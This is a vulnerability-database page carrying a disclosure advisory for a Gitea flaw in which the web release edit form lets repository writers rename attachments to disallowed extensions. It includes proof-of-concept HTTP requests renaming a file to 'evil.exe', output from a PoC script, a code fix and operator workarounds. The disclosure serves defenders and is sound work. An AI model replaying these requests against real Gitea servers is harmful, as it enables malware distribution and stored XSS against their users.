CVE-2026-58428

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 6.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Summary

The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.

A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.

Details

Vulnerable code

routers/web/repo/release.go:597 EditReleasePost:

const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
    for k, v := range ctx.Req.Form {
        if strings.HasPrefix(k, editPrefix) {
            editAttachments[k[len(editPrefix):]] = v[0]
        }
    }
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
    rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
    ctx.ServerError("UpdateRelease", err)
    return
}

services/release/release.go:321 -- the unvalidated write:

for uuid, newName := range editAttachments {
    if !deletedUUIDs.Contains(uuid) {
        if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
            UUID: uuid,
            Name: newName,
        }, "name"); err != nil {
            return err
        }
    }
}

No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.

Comparison: the parent fix on the API path

routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):

if err := attachment_service.UpdateAttachment(ctx,
        setting.Repository.Release.AllowedTypes, attach); err != nil {
    if upload.IsErrFileTypeForbidden(err) {
        ctx.Error(http.StatusUnprocessableEntity, "", err)
        return
    }
    ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
    return
}

Delegates to:

// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
    if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
        return err
    }
    return repo_model.UpdateAttachment(ctx, attach)
}

The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.

Proof of Concept

Tested live against: * Gitea v1.26.1 community edition, Linux amd64, SQLite, Go 1.26.2 * app.ini includes [repository.release] ALLOWED_TYPES = .zip,.tar.gz * Two users: admin (superuser, created via gitea admin user create --admin), bob (regular, repo owner of bob/test-repo)

Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.

Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.

PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token 
Content-Type: application/json

{"name":"evil.exe"}

Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).

Step 3: The attack. The web release edit form does NOT enforce the allowlist.

POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=; lang=en-US
Content-Type: application/x-www-form-urlencoded

tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-=evil.exe

Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.

Step 4: Verify.

GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1

Response includes "name": "evil.exe". The download link /attachments/ now serves the file under the forbidden extension.

A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:

GITEA-R007_release_edit_extension_bypass.py

[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'

[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.

Impact

Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):

* Pre-condition: operator has set Repository.Release.AllowedTypes to a non-empty allowlist (a reasonable hardening posture when restricting release uploads). * Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators. * Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name. * Practical impact: * Distribute malware files (e.g., .exe, .dmg, .msi, .apk) masquerading as a tagged release attachment * If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin * Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event

Suggested remediation

Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:

import (
    "code.gitea.io/gitea/modules/setting"
    "code.gitea.io/gitea/services/context/upload"
)

// inside UpdateRelease, replace the editAttachments loop: for uuid, newName := range editAttachments { if deletedUUIDs.Contains(uuid) { continue } if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil { return err } if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } }

The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.

Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.

Workaround for operators (no Gitea change required)

Until a patched release lands, operators can mitigate by either:

  • Removing the Repository.Release.AllowedTypes allowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move.
  • Putting Gitea behind a reverse proxy that rewrites or strips suspicious attachment-edit-* form fields on POST to ///releases/edit/* -- viable but operationally fragile.
  • Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.

A vendor patch is the right answer; the workarounds above are stopgaps.

Credit

Jose Rivas (bl4cksku111.com)

References

* Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939) * Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit 7adc4717ec) * CWE-424: https://cwe.mitre.org/data/definitions/424.html * CWE-434: https://cwe.mitre.org/data/definitions/434.html

CVSS v3
6.5
EG Score
6.5(low)
EG Risk
34(Track)
EG Risk 34/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity65% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-58428(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
Go(2)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0
gitea.dev1.27.0

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:21 UTCEG score recompute
  2. 2026-07-21 21:21 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-58428?
CVE-2026-58428 is a medium vulnerability published on July 21, 2026. Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939) Summary The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to…
When was CVE-2026-58428 disclosed?
CVE-2026-58428 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-58428?
CVE-2026-58428 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-58428?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-58428, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-58428

Explore →

Is Your Infrastructure Affected by CVE-2026-58428?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.